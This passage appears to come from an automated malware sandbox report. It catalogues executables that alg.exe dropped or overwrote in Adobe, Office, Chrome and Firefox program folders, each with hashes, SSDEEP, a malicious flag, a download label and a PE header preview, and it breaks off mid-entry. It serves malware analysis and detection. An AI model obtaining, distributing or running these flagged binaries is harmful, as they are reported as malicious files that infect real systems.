Entropy (8bit):	4.93863340586214
Encrypted:	false
SSDEEP:	24576:exwSJikrmZsJ/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:eylkrKsJLNiXicJFFRGNzj3
MD5:	7D832709D2BA5488C956B9EA7393820B
SHA1:	61269781C1F8B98C33471B6316E8B2FDEF9216B0
SHA-256:	A06EE229D3C5506FBE491F46EA334111AFB632A7297BD9123DF99DFED96162A5
SHA-512:	A688E71092AB4EBD18B346A6B7A35E669982D7FF46F86BC488E61FC6641A016E6B7786BE1754348BEDD55903E62C1EF24BF0BA3409508DDF96EBA49A97D2DA82
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................y...5.......5.....5......7.......................7.....7.Z....2...7.....Rich..........................PE..d.....{d.........."..........<.......&.........@..............................".....\w.... .................................................`...x.... ..............................`j..p....................l..(....j..8............................................text...l........................... ..`.rdata..............................@..@.data...4#..........................@....pdata........... ..................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc...`...0......................@...................................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1804800
Entropy (8bit):	5.2504195085694985
Encrypted:	false
SSDEEP:	24576:PHQJLIRIvsnN8/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:PHQJLP48LNiXicJFFRGNzj3
MD5:	66B3BA8DD8BAB8BA6B21AC9D5AED3409
SHA1:	A631BCEE9EACCA0FCB5EED971E0BF4CA24E086E1
SHA-256:	BA1D97AA979894DFF8AF8FD454EE1A5EE6843B00990D5E83DF6BA791F4DBE0A3
SHA-512:	C42407B40A6829A582C3BFC48EE4A01A2596CBC2551390C80201A201FF7A952DAD0F7E3D6C2D24AABDF2EC8BB67D40791E63F0E03002AC287B4735B7352F9895
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L<."o."o."o...o.."o+.&n.."o+.!n.."o+.#n."o+.'n."o..$n."o..#n.."o).+n.."o.#o;."o).'n."o)..o."o). n."oRich."o........PE..d......d.........."......\.....................@..............................&.......... .................................................."..@....0...........W..................x...T.......................(...`...8............p..........`....................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data....^...P...R...2..............@....pdata...W.......X..................@..@.didat..8...........................@....msvcjmc..... ......................@....rsrc........0......................@..@.reloc...`...@......................@...................................................................................................................................................................

C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5365760
Entropy (8bit):	6.448966181724942
Encrypted:	false
SSDEEP:	49152:tUZujDjDjDjXmXgoz2PsapFQrC7dRpqbeE8U2IzwDt+bdro4O8b8ITDnlggyJ1kS:KWmXL6DEC7dRpKuDQbgf7wRGpj3
MD5:	E375770576784898F172D9D60C683198
SHA1:	AE8B9DF6F4ADAA42615D6A459721A114D6278B2F
SHA-256:	D7CAEBF521217EA1CC46033A8A7935B0D176419A59E5670C23AB1232FC20511F
SHA-512:	A48F61251F536353D54CA06266A658B74841030E2BB9B43613D1A5EF1A0EFD80FA91CF0B6B5D6F7F7619E5A3F1593C9C582B86D75D2DF25BFE759920E5A93F5C
Malicious:	true
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........I.~.(g-.(g-.(g-.Cd,.(g-.Cb,i(g-.G.-.(g-b\c,.(g-b\d,.(g-.t.-.(g-.(g-C(g-b\b,.(g-.Cc,.(g-.Ca,.(g-.Cf,.(g-.(f-.+g-`\b,.(g-`\g,.(g-`\.-.(g-.(.-.(g-`\e,.(g-Rich.(g-........PE..L......d.........."......./..p......P"%.......0...@...........................R.......R..............................@:......@:.......;..V...........................^6.T...................._6.....h.5.@.............0...... :.`....................text...*./......./................. ..`.rdata..Ze....0..f....0.............@..@.data....E....:......h:.............@....didat........;......B;.............@....rsrc....V....;..X...H;.............@..@.reloc...P...@G..@....F.............@...........................................................................................................................................................................................................................

C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3163136
Entropy (8bit):	7.971965142657942
Encrypted:	false
SSDEEP:	98304:brZ23AbsK6Ro022JjL2WEiVqJZY7wRGpj3:/JADmmxL2WEoCZEF9
MD5:	D42F3201E43699D6DDD4EEFF737A821E
SHA1:	B4A49089548CD9452C651FF12C05B61DCDD57141
SHA-256:	AC770DC461369936C647A41468AE57A01835229835ED5A583925CCC5887CE457
SHA-512:	62048E2616C12C6DF10A11686EA963A4C765E3248B0B44087D1C715FD90AE711262770E53EB70D2137C67827CDA43F46D9CF39BE3BA75AA020E97C13EE1D5F9E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5{.!q..rq..rq..rq..r...rQc.r`..rQc.r`..rQc.rp..rQc.rp..rRichq..r........................PE..L.....A.................~... .......^... ........... ........................1.......0.......... .....................................0............................!............................................... ...............................text....\|... ...~.................. ..`.data...............................@....rsrc...../......./.................@...................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1213440
Entropy (8bit):	7.197657696809315
Encrypted:	false
SSDEEP:	24576:EfrYY42wd7hlOw9fpkEE645/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:5z9xrS5LNiXicJFFRGNzj3
MD5:	F03ED49D780ECDAA818B9B92688EC935
SHA1:	94B2D07F1B820EEADF52B220A01A9D4868E0874D
SHA-256:	4A1BF388F83223F40A4B1B39A33B2A31B4B02828F3749CEA2DDBFB22497F4760
SHA-512:	473FE179F672E2D49A349F0F99EA73310EDBDE70C4A32E9F3B19A51816C4EE0E14BCC292847B7A843B7D4E131D868906F6F2D055EF189102DAD846B2E6E7B578
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@......T...T...T...U...T...U...T..U...T..U...T...U...T..U...T...U...T...Tf..T..U...T..T...T..uT...T..U...TRich...T................PE..d.....{d..........#......J...........3.........@............................. ............ ..................................................L.......`..........(J..................p...T.......................(... B..8............`.......I..`....................text....H.......J.................. ..`.rdata..d....`.......N..............@..@.data...(w...p...&...^..............@....pdata..(J.......L..................@..@.didat.......@......................@..._RDATA.......P......................@..@.rsrc........`......................@...................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1544192
Entropy (8bit):	4.839830544538881
Encrypted:	false
SSDEEP:	24576:yzNKUc5G/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:yzNrc5GLNiXicJFFRGNzj3
MD5:	C2CFA0C01D5B6CD9670488AB08B87E23
SHA1:	4611B4D9FA6BADBADECBCD4653D1BB6C3F11EFC9
SHA-256:	C1C8EFB7C4CA5A576DECA87FDFE2D5D31B04B3F3F967192D5FD3896F15CBECE9
SHA-512:	B86EB306C04C4437E5C1AC1376B3710090804B92377553ECD73651BEFA4DAB4FC01687C501430505820CEDF2145055EEAB9FC8D67FB41C79A22B0DF53DE26890
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........E@..$...$...$...\...$...V*..$...V-..$...V+..$...V/..$...$/.0 ...V&..$...V..$...V..$...V,..$..Rich.$..........PE..d...!!.R.........."......`..........0C.........@.............................`"........... .......... ......................................Xl..........X.......d.......................T...................8...(.......8...........`...`............................text...(X.......`.................. ..`.rdata..z....p... ...p..............@..@.data...............................@....pdata..d........ ..................@..@.rsrc...X...........................@..@.reloc..............................@...................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5855744
Entropy (8bit):	6.572805229111452
Encrypted:	false
SSDEEP:	98304:TALuzDKnxCp3JKNrPJzruaI6HMaJTtGbr7wRGpj3:EaGg3cFPIaI6HMaJTtGbPF9
MD5:	27D118A9FB31DE745BCAE88165F4ECE7
SHA1:	F1F5D3750AABA184EE292C5B4DD8E592E19D6171
SHA-256:	8BDFC163BD1C5BBDD4EC86B62850A2213D564342B1935B584DFF5214619CD3D2
SHA-512:	B4B60C0B4E479756E44A6B44485E58E67D103828471C9883D33E2FD4CB241DE35A639FA3FB6C304A5D6790A24E53FDA8384FFD2125472CF861279C3A7C55D855
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......Jc.M.............p......nx......nx......).......)........p.......p.......p..&....p..............nx..i...kx......kx......kx..g...kxx.............kx......Rich....................PE..d....".e..........".... .z6..........32........@..............................Y......VZ... .................................................8.B.......K..a...PI..%..................0.B.8...................X.B.(.....7.@.............6.0.....B......................text....y6......z6................. ..`.rdata..5.....6......~6.............@..@.data...`....0G.......G.............@....pdata...%...PI..&...:I.............@..@.didat.. .....K......`K.............@..._RDATA..\.....K......fK.............@..@.rsrc....a....K..b...hK.............@..@.reloc........P.......O.............@...................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1468416
Entropy (8bit):	4.895093306283645
Encrypted:	false
SSDEEP:	24576:fXr/SV0xWV/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:DNxYLNiXicJFFRGNzj3
MD5:	311BD86CCAEA70727DB7E4D9475A1154
SHA1:	30E7E6948EB6C61C6B1E069122E3DE20A527A398
SHA-256:	C1EC2AD1C65CD542FE1CA96317784BDCD7D6518096A4661A3014ED8119E6E9D5
SHA-512:	543E3A1E743140A192E3FED9FEF37BD3496771EE4F662E193F572A898DC20C439764375BE5707692634C7C6258AE66AC29A47916028A64DA66BFBCB6379304C0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........K.k...k...k.......k.......k.......k.......k...k..Ro.......k....l..k.......k....n..k.......k..Rich.k..........PE..L...9.A/.....................T......@V............@..........................`!.....[............ ......................................8............................_..T...............................@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...8...........................@..@.reloc..............................@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27533312
Entropy (8bit):	6.24820618603424
Encrypted:	false
SSDEEP:	196608:bhRrmpGpGdJM7Hbp8JfrCGvqYYuNDmoefAlprtPz25HqaI6HMaJTtGbQOzF9:bhRCpGpMJMrbp8JjpNdNlc5+9
MD5:	430C9B4AB54F2570B4182F56F9FFDBB6
SHA1:	5BA011CAD0FCAEC1E3280C6AEB530139DE68A9A1
SHA-256:	652883FDBC8EE2D2C8715AC4CA15B038FAAD6E1511C474C2BF6C2F4E0A7EBCC0
SHA-512:	1DC5200692EB08B84045600D411654985D999BF0EE64F7585D392C8B9746BB0EEA275E4082D98EC40FB7DAC3E109760A1A2102BD156F6FB2F3EC2B77341CB427
Malicious:	true
Preview:	MZ......................@...................................H...........!..L.!This program cannot be run in DOS mode....$.......$.\|+`{.x`{.x`{.xi..xv{.x...yf{.x...yj{.x...yd{.x...yO{.xG..xh{.xG.oxa{.x...yb{.x...ya{.x...ya{.x...yd{.x...yc{.x...y~{.x...y}{.x`{.xTs.x...ya{.x...yjz.x...y v.x...xa{.x`{.xa{.x...ya{.xRich`{.x........PE..d......e..........".... .....H.................@....................................,.... ..................................................u..D.... ?...X...7.........................8....................U..(...`...@............0.. "..l .......................text............................... ..`.rdata..S.~..0....~.................@..@.data.........1.......0.............@....pdata........7.......7.............@..@.didat..`.....>.......>.............@....detourc.!....>.."....>.............@..@.rsrc.....X.. ?...X...>.............@..@.reloc..............................@...........................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2199552
Entropy (8bit):	6.7840197941349025
Encrypted:	false
SSDEEP:	49152:o83pZ3kd0CuEeN0LUmRXzYs65mnLNiXicJFFRGNzj3:kKuUQY15M7wRGpj3
MD5:	B45D132B56137C1DE2375477F45BD2B9
SHA1:	1F07D72E7A2BAD9E3B660DDC1B5A952113EABE9C
SHA-256:	AE23CBD575E55798835279BFFC2D603F7F84CB04092FCC35FC17AEF048871183
SHA-512:	081746E5D90B1C6D752F2F13333A7E0BFE64A605283463A502F5A744D2CB778EB2ADD831F428A24F992FFA67047CB580D9F72C5F0E410DDCFECAA94542E4C8AD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D................7......................!..............~............Y.......[............Rich............PE..d...rq............"..................$.........@..............................!......N"... .......... ......................................P...\|....p... ......L....................a..T...................Xt..(... s..8............t...............................text...6........................... ..`.rdata..............................@..@.data...@...........................@....pdata..L...........................@..@.rsrc.... ...p...0...P..............@..@.reloc... ..........................@...................................................................................................................................................................................................................................................................

C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4971008
Entropy (8bit):	6.6689845076456455
Encrypted:	false
SSDEEP:	49152:1Erw1zDb1mZtOoGpDYdSTtWXy4eqH8nYAmoBvYQugWupoI6bAGOpndOPcptz6+Mr:jA4oGlcR+glEdOPKzgVZ17wRGpj3
MD5:	ACA2C209CD9F56090E1ED8E19F7F3057
SHA1:	1F24708F483095B73C4014E49CA929B0DD2A6D1F
SHA-256:	FD1238579344DACC2D0528BFD0D3B2726DB85E84B23B49B1C653F9E9D7C97504
SHA-512:	7D72849D95BDC4F1E62D4DB1E165BED2F28CFB846991136BD61E0AF3BE22C90BF38BC7106066A6F5BA256E5E86423FB62F39030D177459D89A9C3358642709E7
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......Eh.<..{o..{o..{o.q.o..{oaszn..{oas~n*.{oas.n..{oasxn..{o.{}n..{o.{xn..{o.{.n..{o.{zn..{o..zo..{odsxn..{ods~n..{odsrnF.{ods.o..{o...o..{odsyn..{oRich..{o........PE..d...0m.d..........".... ..-.........0p+........@..............................L......PL... .................................................HZ:.......B.......@.<C....................:.8...................p.9.(... P..@.............-......H:.@....................text...[.-.......-................. ..`.rdata..9.....-.......-.............@..@.data...x....`>......>>.............@....pdata..<C....@..D....@.............@..@.didat..`.....B......LB.............@....rsrc.........B......PB.............@..@.reloc........B......ZB.............@...........................................................................................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\chrmstp.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4897792
Entropy (8bit):	6.828099811403021
Encrypted:	false
SSDEEP:	49152:V8ErxqTGsitHloGgkiDrCvJVZfEcpwD06LgVCM2hnwLNwiHaGI3Y/685ZYMaWgKI:Qv2gM+qwXLg7pPgw/DSZH37wRGpj3
MD5:	8C84AE61AE726B521C6DE04A37CFAFB7
SHA1:	EBFCEBE748D3428BD662748EA9DCEB3F4C92112B
SHA-256:	F1CF6C910BFE4A1E3FBADED02DFF2302A996828D76DBC797A6B5FC379CC9C0A4
SHA-512:	C487D3186D830031465EBAC6958C3FBAB6A4BE0CA9D2A7E700DD71CC7439610D156F1565A8FE5A4210D38A1A3DB269669A4E9ABEA3E1EBE8B6CB4056F797F1F2
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......D/......... ..........@..............................L......>K... ...........................................6.N.....6.......<......P:.l.....................6......................6.(...`s/.@.............6.8.....6.@....................text....C/......D/................. ..`.rdata......`/......H/.............@..@.data...4:....8.......7.............@....pdata..l....P:.......9.............@..@.00cfg..0.....;.......:.............@..@.gxfg....1....;..2....:.............@..@.retplne.....0<.......:..................tls....A....@<.......:.............@...CPADinfo8....P<.......:.............@...LZMADEC......`<.......:............. ..`_RDATA..\.....<.......:.............@..@malloc_h......<.......:............. ..`.rsrc.........<.......:.............@..@.reloc... ...`C.......A.............@...........................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\setup.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4897792
Entropy (8bit):	6.828098691417954
Encrypted:	false
SSDEEP:	49152:58ErxqTGsitHloGgkiDrCvJVZfEcpwD06LgVCM2hnwLNwiHaGI3Y/685ZYMaWgKI:Uv2gM+qwXLg7pPgw/DSZH37wRGpj3
MD5:	076312A2DC15FFB5870041BBEBE274B0
SHA1:	804B928033F90F30AAAD87C90BFEC70DA4DE49F4
SHA-256:	9629FAD6638ADD9279A769600A1DB33D21E1B9F881BC376249D01678BA710D57
SHA-512:	CCA608190E1E58669593BE5C2771FEA7B07E544C2BDCC9496827742FEE4D746BC9225008E778A7CF73099A03AFED2C607F9CA37D8B03120C4F28E6C0F0E4CF1D
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......D/......... ..........@..............................L.......J... ...........................................6.N.....6.......<......P:.l.....................6......................6.(...`s/.@.............6.8.....6.@....................text....C/......D/................. ..`.rdata......`/......H/.............@..@.data...4:....8.......7.............@....pdata..l....P:.......9.............@..@.00cfg..0.....;.......:.............@..@.gxfg....1....;..2....:.............@..@.retplne.....0<.......:..................tls....A....@<.......:.............@...CPADinfo8....P<.......:.............@...LZMADEC......`<.......:............. ..`_RDATA..\.....<.......:.............@..@malloc_h......<.......:............. ..`.rsrc.........<.......:.............@..@.reloc... ...`C.......A.............@...........................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_pwa_launcher.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2156544
Entropy (8bit):	6.9491268970314195
Encrypted:	false
SSDEEP:	24576:7tjqL8fH+8aUbp8D/8+xyWAE/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:BjKK+81FI/8zqLNiXicJFFRGNzj3
MD5:	479E686A0D32EE98BA4D6DA0ACA66AC0
SHA1:	86C648EDAEC9B9D8DB7873A1948354A153034493
SHA-256:	1A334647EC15BF11FBDC67E160CC6AA29D558C311519B0C4030C4186D34BB30C
SHA-512:	A1998603EBC6D1603F74D5C5B46F0F9C05C7B24078955AC4F2A998E8A394B863E9FBF59E05213BAC5943ABE50E8FEBCB215C0D6E8BA0165B064857157737318A
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......F.....................@.............................P"......\|!... ..........................................X..\...$Y....... ...&......(...................lM......................PL..(...pr..@............_...............................text....D.......F.................. ..`.rdata..$....`.......J..............@..@.data...,.... ......................@....pdata..(...........................@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne.................................tls................................@...LZMADEC............................. ..`_RDATA..\...........................@..@malloc_h............................ ..`.rsrc....&... ...(..................@..@.reloc.......P......................@...................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe

Download File

Process:	C:\Users\user\Desktop\AsusSetup.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2370560
Entropy (8bit):	7.028781188229773
Encrypted:	false
SSDEEP:	49152:bAMsOu3JfCIGnZuTodRFYKBrFDbWpsLNiXicJFFRGNzj3:bAMa38ZuTSV7wRGpj3
MD5:	2308451F7004084FFEB4AC1E74DD50A7
SHA1:	D51C502AC7CCDF5C81E32FACAF4C19934E4BE9AC
SHA-256:	BF395AD38EE17A75FF70472BD3591FC68989FB167577B93C311DC502BB71BD88
SHA-512:	9FD9F6199B84F858BB06B745222EE0C9A1070386D94C489D75AC29E021E073DFFA043F98F20698CE0ABBC1F1E5472CBE6756F6297A4E97778640D0EE892F6D87
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e..........".................0..........@..............................%......$... ..........................................}..Z...Z}...............@..`...................$k.......................j..(.......@............... ............................text...V........................... ..`.rdata..Hv.......x..................@..@.data...t....`.......>..............@....pdata..`....@.......6..............@..@.00cfg..0...........................@..@.gxfg....+.......,..................@..@.retplne.....@...........................tls....A....P......................@..._RDATA..\....`....... ..............@..@malloc_h.....p.......".............. ..`.rsrc................$..............@..@.reloc...............<..............@...........................................................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.132\notification_helper.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1984512
Entropy (8bit):	7.099941765255825
Encrypted:	false
SSDEEP:	49152:WSK7Fhslq2EPfOGEpLNiXicJFFRGNzj3:bo2cOp7wRGpj3
MD5:	E7CCD5DB1563CA3935109E6BA9A42C8C
SHA1:	F0070E5020E77E28AE07D8B33DBE167828757082
SHA-256:	54606866EA29B1A7E9B8831CB49BED1EA38EEE3004355149088CE62981ADFAF0
SHA-512:	CC816A8B284898899E5472D2ED50FAF3B26DFAE6A96B08662BD1169AED05EF0AC1DD208CD7809CF3625D1BBEF627AD925035B846FFD8C5FFCB651438E8BC6C5E
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."............................@....................................g[.... ............................................\...$................p..t...............................................(...P...@...........x...x............................text............................... ..`.rdata..............................@..@.data................z..............@....pdata..t....p.......x..............@..@.00cfg..0...........................@..@.gxfg...@-... ......................@..@.retplne.....P.......D...................tls.........`.......F..............@...CPADinfo8....p.......H..............@..._RDATA..\............J..............@..@malloc_h.............L.............. ..`.rsrc................N..............@..@.reloc...............X..............@...................................................................................................

C:\Program Files\Google\Chrome\Application\chrome_proxy.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1779712
Entropy (8bit):	7.153149455903381
Encrypted:	false
SSDEEP:	49152:Pv7e0j31mD+/wDGbjLNiXicJFFRGNzj3:nDj1mkj7wRGpj3
MD5:	E4480408B3F600819AD8BCC53FD44DBB
SHA1:	88EA3A06DCAB457727043CDAF89A5C883258E19E
SHA-256:	C37EFDF2DD4E3C652F0D7791804C513092516EED4BEAE84FEBF422A9DAC1FD57
SHA-512:	4D3F6D9336BE5C35E5029061973AC58BE40C93AE776F663FCF47B9E5978EA423A2F3226A78172680A036A4A169AF4494DBC8441D71DDD9CE3D98DB40119364D0
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."..........B.................@....................................t..... .........................................X...U...............x....p.................................................(...`2..@...............X............................text............................... ..`.rdata..,w... ...x..................@..@.data...............................@....pdata......p.......x..............@..@.00cfg..0...........................@..@.gxfg....).........................@..@.retplne.....@.......&...................tls.........P.......(..............@..._RDATA..\....`.....................@..@malloc_h.....p.......,.............. ..`.rsrc...x...........................@..@.reloc...............8..............@...........................................................................................................................................

C:\Program Files\Mozilla Firefox\crashreporter.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1533952
Entropy (8bit):	4.9367341472557005
Encrypted:	false
SSDEEP:	24576:a6hSn/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:alLNiXicJFFRGNzj3
MD5:	591D24D4303BE55FF8DACCAAFAE10936
SHA1:	D476677BD3E482502466858FCBFF94F4E3C0F826
SHA-256:	FF75D994EC3755B426166195EDDD7C067DAA6AE1A5631DDD98B79279FFF426FC
SHA-512:	5E73D90333305BE10F0FF342C90A038A616A6C10F57A77E53DA4DE6FD9B38BA289A8E9C0325A514AC15649B45AA6C13EF40A2624E8ABEA248916D4A91879B51D
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."............................@.............................."......].... ..................................................................P......................T...........................(...p...8...........H................................text............................... ..`.rdata...h.......j..................@..@.data........@......................@....pdata.......P.......0..............@..@.00cfg..(....`.......@..............@..@.tls.........p.......B..............@....voltbl..............D...................rsrc................F..............@..@.reloc...`... ......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\default-browser-agent.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1286656
Entropy (8bit):	7.216785417433258
Encrypted:	false
SSDEEP:	24576:fsFfc1VyFn5UQn652bO4Hg/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:fsFcIn5rJOLNiXicJFFRGNzj3
MD5:	B16924AF8BC8D17257EC7700DE937375
SHA1:	6E4BA30552BD2B7D0FA547BF22FA77D97477A0B5
SHA-256:	1B5954F5FFFC99C5C796705DFF08ED35B12487C8FD409A397B3ADDF4ABAD0B44
SHA-512:	6A60C4D8EB6FC0AE2347B663A9CBC600A7C6925BFC97C7B8FEF5AA879ABB70AEDD52AE70035E5E2334FC9B245BFA33365FB6F47AC8A1A064D2B0476832856070
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......6..........pX.........@.......................................... ..........................................J.......K..........`........%..................DA..........................(...`...8............V...............................text...V5.......6.................. ..`.rdata...O...P...P...:..............@..@.data...............................@....pdata...%.......&..................@..@.00cfg..(...........................@..@.tls................................@....voltbl..................................rsrc...`...........................@..@.reloc....... ......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\firefox.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1246208
Entropy (8bit):	7.4881079064592155
Encrypted:	false
SSDEEP:	24576:jt9o6p4xQbiKI69wpemIwpel97/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:jt9faQbtl2peapelBLNiXicJFFRGNzj3
MD5:	85241E3070BDA379F8D81E283D8440AE
SHA1:	C04294A925FB3A019177314F8F2C2C31D7C138CB
SHA-256:	BF96C1C84EE634EC30A07160D9AA28D326C3B97C9A678A5487D5398E59BA8DA8
SHA-512:	EFC3B6037BF804D18A2C8C22E9F157856A33F182CF80EBCC69376561043B4EFF8C66FFAA95D290F0803C6443A62DAF2EB5C84E468F20B0FE1D4A5764300C53DF
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......$.....................@.......................................... .................................................g...h............P..t%..................4........................k..(....@..8...........P...........@....................text....".......$.................. ..`.rdata.......@.......(..............@..@.data...p+... ......................@....pdata..t%...P...&..................@..@.00cfg..(............2..............@..@.freestd.............4..............@..@.retplne$............6...................tls.................8..............@....voltbl..............:...................rsrc................<..............@..@.reloc...............$..............@...................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\maintenanceservice.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1512448
Entropy (8bit):	4.901599586667003
Encrypted:	false
SSDEEP:	24576:MQVTZu0JY/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:DVTZuRLNiXicJFFRGNzj3
MD5:	267E7C429192F3C7A3E3B9823A74ABFB
SHA1:	55AC59DE6CEC4B65148A64792D6CA15D85BB465D
SHA-256:	0498A5895DC7A7FF67020AF06B9005A65D3F0D82F63D8CCCAC67CFD446BB2AC5
SHA-512:	CC7AAA1D23199DF549A196188B8E489A23809D16CBEF982FB2E05198AE0F4A239249A084D1CF06CAFF27E3BDA05DAF641B3C6A3D0DA5290EA60BA504FB97AC77
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@.............................`".......... .................................................h&..................`....................$..........................(....p..8............,...............................text...FQ.......R.................. ..`.rdata.......p.......V..............@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl.*............h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...`...........t..............@...........................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\minidump-analyzer.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1344000
Entropy (8bit):	6.801608975661588
Encrypted:	false
SSDEEP:	24576:zC1vpgXcZHze/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:zC1vpIcNeLNiXicJFFRGNzj3
MD5:	69658BB2F08508299FC4ADBFB7AB95C3
SHA1:	15A89757E91AAFDDD03847B2334D489315D45389
